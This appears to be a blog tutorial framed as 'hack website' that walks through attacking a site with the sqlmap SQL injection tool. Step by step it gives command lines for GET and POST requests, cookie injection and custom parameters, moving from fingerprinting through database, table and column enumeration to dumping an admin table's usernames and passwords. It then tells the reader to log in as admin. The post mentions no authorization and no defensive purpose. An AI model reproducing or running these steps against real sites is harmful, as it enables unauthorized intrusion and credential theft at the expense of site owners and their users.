Breaking News
recent

HACK WEBSITE USING SQLMAP SQL INJECTION TOOLS FULL TUTORIAL



  1. Download  SQLMAP SQL INJECTION TOOLS 

  1.  https://github.com/sqlmapproject/sqlmap


  2. how to use sqlmap on GET method
  3.  
  4.  
  5. - fingerprinting
  6.  
  7. first you must have a vulnerable website for the target, if you was have a target now open sqlmap and type this command
  8.  ./sqlmap.py -u "http://www.target.com/index.php?id=2"
  9. sqlmap will detect vulnerable of your target and will tell you what the type of vulnerable and what is the database type. and if your target vulnerable go to next step.
  10.  
  11.  
  12. - find database name
  13.  
  14. type this command to find database name
  15.  ./sqlmap.py -u "http://www.target.com/index.php?id=2" --dbs
  16. on this step, sqlmap will find the database name of your target, for example I use "web_db" for the database name.
  17.  
  18.  
  19. - find tables name
  20.  
  21. after sqlmap find the databse name its time to find the tables name. use this command to find the table name
  22.  ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db --tables
  23. there will show you some tables name inside "web_db" database, ok for example I use "tbl_admin" as  the tables name.
  24.  
  25.  
  26. - find columns name
  27.  
  28.  its time to find what inside "tbl_admin" from "web_db" and we call it columns. to find columns type this command
  29.  ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin --columns
  30. it will show you  the list of columns name, for example I find "user" and "password" columns.
  31.  
  32.  
  33. - dump
  34.  
  35.  this command will dumped data from the columns, type this command
  36.  ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin -C user,password --dump
  37. and I find "user = admin" and "password = adminpass". now go to the web and find the admin login.
  38.  
  39.  
  40.  
  41. how to use sqlmap on POST method
  42.  
  43.  
  44. its the same way with GET method, its just that you have to insert POST data to the sqlmap. for example I have vulnerable site on the "login.php" path. the POST data is "id=admin&pwd=password&submit=login". how to find the POST data ? just use "Live HTTPheaders" its a firefox add ons.
  45.  
  46.  
  47. - fingerprinting
  48.  
  49. its same way with GET method, just type this command
  50.  ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login"
  51.  
  52. - find database name
  53.  
  54.  ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" --dbs
  55.  
  56. - find tables name
  57.  
  58.  ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" -D web_db --tables  
  59.  
  60. - find columns name
  61.  
  62.  ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" -D web_db -T tbl_admin --columns
  63.  
  64. - dump
  65.  
  66.  ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" -D web_db -T tbl_admin -C user,password --dump
  67.  
  68.  
  69.  include cookie
  70.  
  71.  
  72. still same method but you just should insert the cookie
  73.  ./sqlmap.py -u "http://www.target.com/index.php?id=2" --cookie="PHPSESSID=123asdqwe456blabla;user=admin"
  74. or
  75.  ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" --cookie="PHPSESSID=123asdqwe456blabla;user=admin"
  76.  
  77.  
  78.  
  79. custom parameter
  80.  
  81.  
  82. if you have a custom parameter to inject you can type "-p" like this command
  83.  ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" --cookie="PHPSESSID=123asdqwe456blabla;user=admin" -p "pwd"
  84. sqlmap will inject "pwd" parameter. or you can give star"*" to the parameter to inject, like this
  85.  ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=*password&submit=login" --cookie="PHPSESSID=123asdqwe456blabla;user=admin"
  86.  
  87. cover
  88.  
  89.  
  90. if you a windows users, dont use "./" to run it on cmd.
  91.  
  92. Go To Download Software: http://sqlmap.org/
Unknown

Unknown

No comments:

Post a Comment

Thanks for ur comments

Powered by Blogger.